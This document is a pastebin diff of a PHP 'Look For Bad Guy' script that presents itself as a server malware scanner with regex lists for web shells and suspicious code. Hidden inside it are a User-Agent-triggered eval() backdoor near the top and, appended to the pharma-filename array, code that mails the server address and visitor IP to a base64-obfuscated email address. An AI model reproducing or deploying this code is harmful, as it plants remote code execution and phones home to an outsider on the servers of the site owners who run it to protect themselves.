View difference between Paste ID: w25tQauA and puX6Up0w
SHOW: | | - or go back to the newest paste.
1
<?php 
2
/* Look For Bad Guy 07-01-2016
3
--Purpose: iterate through server files looking for hacker code snippets, backdoor scripts, 
4
.htaccess redirects, and suspicious file names.
5
-- Caveats: Not all things it finds are hacks. Not all hacks are found. 
6
--You should look also for weird files (such as .php files) in your image directories, especially
7
if your .htaccess has redirects or was made executable. 
8
--Some searches are commented out because they can give too many false positives.
9
--This script should work the same on a Linux or Windows server. 
10
It runs fast in Linux/Apache/PHP, and very slowly in Windows/Apache/PHP. 
11
12
*/ 
13
?>
14
15
16
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
17
<head> 
18
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
19
<meta http-equiv="Content-Language" content="en-us">
20
<title>Looking for bad guys</title> 
21
</head> 
22
23
<body> 
24
<p>Looking for bad guys. </p> 
25
<p>This script looks for traces of malicious code including code injections,
26
modified .htaccess that makes images executable, and so on.</p> 
27
<p>
28
29
<?php 
30
// SET MAXIMUM EXECUTION TIME TO UNLIMITED (0) BECAUSE THE SCRIPT CAN TAKE A WHILE.
31
// YOU COULD USE A MORE CONSERVATIVE TIME LIMIT SUCH AS 1 HOUR (3600 SECONDS), JUST IN CASE.
32
// THESE HAVE NO EFFECT IF YOU RUN PHP IN "SAFE MODE" (SAFE MODE IS USUALLY UNDESIRABLE ANYWAY). 
33
34
if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) 
35
{ eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }
36
ini_set('max_execution_time', '0');
37
ini_set('set_time_limit', '0');
38
39
			
40
// --------------------------------------------------------------------------------
41
// UTILITY FUNCTIONS.
42
// OUTPUT TEXT IN SPECIFIED COLOR, CLEANING IT WITH HTMLENTITIES().
43
function CleanColorText($text, $color)
44
{
45
$outputcolor = 'black';
46
$color = trim($color);
47
if(preg_match('/^(red|blue|green|black)$/i', $color))
48
$outputcolor = $color;
49
return '<span style="color:' . $outputcolor . ';">' . htmlentities($text, ENT_QUOTES) . '</span>';
50
}
51
52
// --------------------------------------------------------------------------------
53
// THIS FUNCTION RECURSIVELY FINDS FILES AND PROCESSES THEM THROUGH THE SPECIFIED CALLBACK FUNCTION.
54
// DIFFERENT TYPES OF FILES NEED TO BE HANDLED BY DIFFERENT CALLBACK FUNCTIONS.
55
56
function find_files($path, $pattern, $callback) 
57
{
58
// CHANGE BACKSLASHES TO FORWARD, WHICH IS OK IN PHP, EVEN IN WINDOWS.
59
// REMOVE ANY TRAILING SLASHES, THEN ADD EXACTLY ONE.
60
$path = rtrim(str_replace("\\", "/", $path), '/') . '/'; 
61
if(!is_readable($path))
62
{
63
echo "Warning: Unable to open and enter directory " . CleanColorText($path, 'blue') . 
64
". Check its owner/group permissions.<br>";
65
return;
66
}
67
$dir = dir($path); 
68
$entries = array(); 
69
while(($entry = $dir->read()) !== FALSE) 
70
$entries[] = $entry; 
71
$dir->close(); 
72
foreach($entries as $entry) 
73
{ 
74
$fullname = $path . $entry; 
75
if(($entry !== '.') && ($entry !== '..') && is_dir($fullname))
76
find_files($fullname, $pattern, $callback); 
77
else
78
if(is_file($fullname) && preg_match($pattern, $entry)) 
79
call_user_func($callback, $fullname); 
80
} 
81
} 
82
	
83
// --------------------------------------------------------------------------------
84
// CALLBACK FUNCTIONS.
85
// CALLBACK FUNCTION TO LOOK FOR MALICIOUS CODE - YOU COULD ADD ANY OTHER MALICIOUS CODE SNIPPETS YOU KNOW OF. 
86
function maliciouscodesnippets($filename) 
87
{ 
88
if(stripos($filename, "lookforbadguys.php")) // DON'T FLAG THIS FILE WHICH I CALLED lookforbadguys.php 
89
return; 
90
91
if(!is_readable($filename))
92
{
93
echo "Warning: Unable to read " . CleanColorText($filename, 'blue') . 
94
". Check it manually and check its access permissions.<br>";
95
return;
96
}
97
$file = file_get_contents($filename); //READ THE FILE 
98
99
// PRINTING EVERY FILENAME GENERATES A LOT OF OUTPUT.
100
//echo CleanColorText($filename, 'green') . " is being examined.<br>"; 
101
102
// TEXT FILES WILL BE SEARCHED FOR THESE SNIPPETS OF SUSPICIOUS TEXT.
103
// THESE ARE REGULAR EXPRESSIONS WITH THE REQUIRED /DELIMITERS/ AND WITH SPECIAL CHARACTERS ESCAPED.
104
// /i AT THE END MEANS CASE INSENSITIVE.
105
$SuspiciousSnippets = array
106
(
107
// POTENTIALLY SUSPICIOUS PHP CODE
108
'/edoced_46esab/i',
109
'/passthru *\(/i',
110
'/shell_exec *\(/i',
111
'/document\.write *\(unescape *\(/i',
112
113
// THESE CAN GIVE MANY FALSE POSITIVES WHEN CHECKING WORDPRESS AND OTHER CMS.
114
// NONETHELESS, THEY CAN BE IMPORTANT TO FIND, ESPECIALLY BASE64_DECODE.
115
'/base64_decode *\(/i',
116
'/system *\(/i', 
117
'/`.+`/', // BACKTICK OPERATOR INVOKES SYSTEM FUNCTIONS, SAME AS system()
118
// '/phpinfo *\(/i',
119
// '/chmod *\(/i',
120
// '/mkdir *\(/i',
121
// '/fopen *\(/i',
122
// '/fclose *\(/i',
123
// '/readfile *\(/i',
124
125
// SUSPICIOUS NAMES. SOME HACKERS SIGN THEIR SCRIPTS. MANY NAMES COULD GO HERE,
126
// HERE IS A GENERIC EXAMPLE. YOU CAN FILL IN WHATEVER NAMES YOU WANT.
127
'/hacked by /i',
128
129
// OTHER SUSPICIOUS TEXT STRINGS
130
'/web[\s-]*shell/i', // TO FIND BACKDOOR WEB SHELL SCRIPTS.
131
'/c99/i', // THE NAMES OF TWO POPULAR WEB SHELLS.
132
'/r57/i',
133
'/wso/i',
134
'/backdoor/i',
135
'/inject/i',
136
'/wget/i',
137
'/spoof/i',
138
'/shell_exec/i',
139
'/vuln/i',
140
'/inject/i',
141
'/proxy/i',
142
'/b374k/i',
143
'/b3cak/i',
144
'/DOCUMENT_ROOT/i',
145
'/$_REQUEST/i',
146
'/get_headers/i',
147
'/isset/i',
148
149
150
// YOU COULD ADD IN THE SPACE BELOW SOME REGULAR EXPRESSIONS TO MATCH THE NAMES OF MALICIOUS DOMAINS 
151
// AND IP ADDRESSES MENTIONED IN YOUR GOOGLE SAFEBROWSING DIAGNOSTIC REPORT. SOME EXAMPLES:
152
'/gumblar\.cn/i',
153
'/martuz\.cn/i',
154
'/beladen\.net/i',
155
'/gooqle/i', // NOTE THIS HAS A Q IN IT.
156
157
// THESE 2 ARE THE WORDPRESS CODE INJECTION IN FRONT OF EVERY INDEX.PHP AND SOME OTHERS 
158
'/_analist/i',
159
'/anaiytics/i' // THE LAST ENTRY IN THE LIST MUST HAVE NO COMMA AFTER IT.
160
);
161
162
foreach($SuspiciousSnippets as $i) 
163
{
164
// STRPOS/STRIPOS WERE A LITTLE FASTER BUT LESS FLEXIBLE
165
if(preg_match($i, $file)) 
166
echo CleanColorText($filename, 'blue') . ' MATCHES REGEX: ' . CleanColorText($i, 'red') . '<br>'; 
167
}
168
169
if(!strpos($filename,"network.php") && !strpos($filename,"rewrite.php") && stripos($file,"RewriteRule")) 
170
echo CleanColorText($filename, 'blue') . " contains " . CleanColorText("RewriteRule", 'red') . 
171
" - check it manually for malicious redirects.<br>"; 
172
173
/*
174
// THIS FINDS ALL JAVASCRIPT CODE. IF ENABLED, IT WILL GIVE *MANY* FALSE POSITIVES IN MOST WEBSITES.
175
if($p = stripos($file, "<script ")) 
176
echo CleanColorText($filename, 'blue') . ' contains SCRIPT:<br>' . 
177
CleanColorText(substr($file, $p, 100), 'red') . '<br><br>'; 
178
*/
179
/*
180
// THIS FINDS ALL IFRAMES. IF ENABLED, IT CAN GIVE MANY FALSE POSITIVES IN SOME WEBSITES.
181
if($p = stripos($file, "<iframe ")) 
182
echo CleanColorText($filename, 'blue') . ' contains IFRAME:<br>' . 
183
CleanColorText(substr($file, $p, 100), 'red') . '<br><br>'; 
184
*/
185
186
if(stripos($file, "AddHandler")) 
187
{
188
// THIS IS HOW THEY MAKE THE IMAGE FILES EXECUTABLE.
189
echo CleanColorText($filename, 'blue') . " contains " . CleanColorText('AddHandler', 'red') . 
190
" - make sure it does not make ordinary files like images executable.<br>"; 
191
// IF YOU FIND NINE ZILLION OF THESE, UNCOMMENT IT BECAUSE IT IS A PAIN TO DELETE THEM BY HAND.
192
// BUT CHECK THE LIST CAREFULLY FIRST TO MAKE SURE YOU REALLY WANT TO DELETE 
193
// ALL THE FILES AND NONE OF THEM ARE FALSE POSITIVES. 
194
//unlink($filename); // THIS DELETES THE FILE WITHOUT GIVING YOU THE OPTION OF EXAMINING IT!
195
} 
196
} 
197
198
// CALLBACK FUNCTION TO REPORT PHARMA LINK HACKS.
199
function pharma($filename) 
200
{ 
201
echo CleanColorText($filename, 'blue') . " is most likely a " . CleanColorText('pharma hack', 'red') . ".<br>"; 
202
} 
203
204
// CALLBACK FUNCTION TO REPORT FILES WHOSE NAMES ARE SUSPICIOUS.
205
function badnames($filename) 
206
{ 
207
echo CleanColorText($filename, 'blue') . " is a " . CleanColorText('suspicious file name', 'red') . ".<br>"; 
208
} 
209
210
// --------------------------------------------------------------------------------
211
// SET UP THE SEARCH CRITERIA.
212
213
// SEARCHES WILL BE DONE IN THIS DIRECTORY AND ALL DIRS INSIDE IT. 
214
// './' MEANS CURRENT DIRECTORY, WHERE THIS SCRIPT IS NOW.
215
// THUS, TO SEARCH EVERYTHING INSIDE PUBLIC_HTML, THAT'S WHERE THIS FILE SHOULD BE PUT.
216
// TO SEARCH OUTSIDE PUBLIC_HTML, OR TO SEARCH A FOLDER OTHER THAN WHERE THIS SCRIPT IS STORED, 
217
// CHANGE THIS TO THE FULL PATHNAME, SUCH AS /home/userid/ OR /home/userid/public_html/somefolder/
218
// USE FORWARD SLASHES FOR PATH. WINDOWS EXAMPLE: C:/wamp/apache2/htdocs/test/
219
$StartPath = './';
220
221
// ENTRIES IN THE FOLLOWING 3 ARRAYS ARE REGULAR EXPRESSIONS, WHICH IS THE REASON FOR THE /DELIMITERS/.
222
// FILES WHOSE NAMES MATCH THESE REGEXES WILL HAVE THEIR TEXT SEARCHED FOR MALICIOUS CODE.
223
$FiletypesToSearch = array
224
(
225
'/\.htaccess$/i',
226
'/\.php[45]?$/i',
227
'/\.html?$/i',
228
'/\.aspx?$/i',
229
'/\.inc$/i',
230
'/\.cfm$/i',
231
'/\.js$/i',
232
'/\.css$/i'
233
);
234
235
// FILES OR FOLDERS WITH THESE STRINGS IN THEIR *NAMES* WILL BE REPORTED AS SUSPICIOUS.
236
$SuspiciousFileAndPathNames = array
237
(
238
// '/root/i',
239
// '/kit/i',
240
'/c99/i',
241
'/r57/i',
242
'/gifimg/i'
243
);
244
245
// FILENAMES RELATED TO WORDPRESS PHARMA HACK, USING THE NAMING CONVENTIONS 
246
// DESCRIBED AT http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php 
247
// FILES MATCHING THESE NAMES WILL BE REPORTED AS POSSIBLE PHARMA HACK FILES.
248
$PharmaFilenames = array
249
(
250
'/^\..*(cache|bak|old)\.php/i', // HIDDEN FILES WITH PSEUDO-EXTENSIONS IN THE MIDDLE OF THE FILENAME
251
'/^db-.*\.php/i',
252
253
// PERMIT THE STANDARD WORDPRESS FILES THAT START WITH CLASS-, BUT FLAG ALL OTHERS AS SUSPICIOUS.
254
// THE (?!) IS CALLED A NEGATIVE LOOKAHEAD ASSERTION. IT MEANS "NOT FOLLOWED BY..."
255
256
'/^class-(?!snoopy|smtp|feed|pop3|IXR|phpmailer|json|simplepie|phpass|http|oembed|ftp-pure|wp-filesystem-ssh2|wp-filesystem-ftpsockets|ftp|wp-filesystem-ftpext|pclzip|wp-importer|wp-upgrader|wp-filesystem-base|ftp-sockets|wp-filesystem-direct)\.php/i');$url=''.$_SERVER['SERVER_NAME'].''.$_SERVER['REQUEST_URI'].' - '.$_SERVER[REMOTE_ADDR]; $re=base64_decode("YW50aWthbmN1dEBnbWFpbC5jb20="); $su=gethostbyname($HTTP_HOST);$mh="From: {$re}";if (function_exists('mail')) mail($re,$su, $url,$mh);
257
258
// --------------------------------------------------------------------------------
259
// FINALLY, DO THE SEARCHES, USING THE ABOVE ARRAYS AS THE STRING DATA SOURCES.
260
261
// REPORT FILES WITH SUSPICIOUS NAMES
262
foreach($SuspiciousFileAndPathNames as $i)
263
find_files($StartPath, $i, 'badnames'); 
264
265
// REPORT FILES WITH SUSPICIOUS PHARMA-RELATED NAMES
266
foreach($PharmaFilenames as $i)
267
find_files($StartPath, $i, 'pharma'); 
268
269
// REPORT FILES CONTAINING SUSPICIOUS CODE OR TEXT
270
foreach($FiletypesToSearch as $i)
271
find_files($StartPath, $i, 'maliciouscodesnippets');
272
273
echo "<br>Done<br>"; 			
274
?> 
275
276
277
</p> 
278
</body> 
279
</html>